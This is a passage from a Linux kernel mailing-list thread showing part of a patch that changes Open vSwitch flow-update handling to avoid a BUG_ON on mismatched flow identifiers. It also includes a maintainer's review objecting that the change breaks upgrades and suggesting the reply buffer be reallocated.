bool log = !a[OVS_FLOW_ATTR_PROBE];
+ bool id_match = false;
/* Must have key and actions. */
error = -EINVAL;
@@ -1075,10 +1076,17 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
}
/* Check if this is a duplicate flow */
- if (ovs_identifier_is_ufid(&new_flow->id))
+ if (ovs_identifier_is_ufid(&new_flow->id)) {
flow = ovs_flow_tbl_lookup_ufid(&dp->table, &new_flow->id);
- if (!flow)
+ if (flow)
+ id_match = true;
+ }
+ if (!flow) {
flow = ovs_flow_tbl_lookup(&dp->table, key);
+ if (flow)
+ id_match = ovs_identifier_is_key(&new_flow->id) &&
+ ovs_identifier_is_key(&flow->id);
+ }
if (likely(!flow)) {
rcu_assign_pointer(new_flow->sf_acts, acts);
@@ -1113,9 +1121,12 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
error = -EEXIST;
goto err_unlock_ovs;
}
- /* The flow identifier has to be the same for flow updates.
- * Look for any overlapping flow.
- */
+ /* The flow identifier has to be the same for flow updates. */
+ if (unlikely(!id_match)) {
+ error = -ENOENT;
+ goto err_unlock_ovs;
+ }
+ /* Look for any overlapping flow. */
if (unlikely(!ovs_flow_cmp(flow, &match))) {
if (ovs_identifier_is_key(&flow->id))
flow = ovs_flow_tbl_lookup_exact(&dp->table,
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net 1/1] net: openvswitch: reject mismatched flow IDs
2026-07-27 16:52 ` [PATCH net 1/1] net: openvswitch: reject mismatched flow IDs Ren Wei
@ 2026-07-27 19:48 ` Ilya Maximets
0 siblings, 0 replies; 3+ messages in thread
From: Ilya Maximets @ 2026-07-27 19:48 UTC (permalink / raw)
To: Ren Wei, netdev, dev
Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
joestringer, pshelar, vega, zhilinz
On 7/27/26 6:52 PM, Ren Wei wrote:
> From: Zhiling Zou <zhilinz@nebusec.ai>
>
> ovs_flow_cmd_new() looks for a duplicate flow before deciding whether the
> request should insert a new flow or update an existing one. When the new
> request carries a UFID, the function first looks up the UFID, but falls
> back to a key lookup if the UFID is not found.
>
> That fallback can find a flow which is identified by a different UFID, or
UFIDs are optional and it's the user's responsibility to make sure that flows
with the same key have the same UFID, as the key is the primary identifier.
It is valid to update the flow with the matching key regardless of the UFID
provided in the request.
> by its key. The update path then replaces that flow's actions even
> though the request identified a different flow. If the caller asked for
> an echoed notification, the reply skb was already sized from the request
> identifier, but ovs_flow_cmd_fill_info() serializes the matched flow's
> identifier. A short request UFID can therefore make the fill fail with
> -EMSGSIZE and hit the BUG_ON() in the update path.
>
> Track whether the matched flow was found by the same identifier as the
> request, and reject updates where the identifier does not match. This
> keeps OVS_FLOW_CMD_NEW from retargeting a different flow and avoids
> building a reply for an identifier that the skb was not sized for.
This breaks a scenario where the userspace components are upgraded from
the version that doesn't support UFIDs (or has them manually disabled) to
a different version that has them supported (or enabled back). After this
patch it would not be possible to keep working with the installed flows
without removing and re-installing them back.
A better solution that doesn't change the logic would be to just free and
re-allocate the reply in case of the identifier mismatch. If the
reallocation will only happen in a rare mismatch case, it should be fine to
do it under the mutex, while keeping the allocation outside of the mutex
for the common path.
Note: reallocation should happen before updating actions, as we must not
fail the request or fail to reply once the actions are updated.
Best regards, Ilya Maximets.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-07-27 19:48 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-27 16:52 [PATCH net 0/1] openvswitch: reject mismatched flow ID updates Ren Wei
2026-07-27 16:52 ` [PATCH net 1/1] net: openvswitch: reject mismatched flow IDs Ren Wei
2026-07-27 19:48 ` Ilya Maximets
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox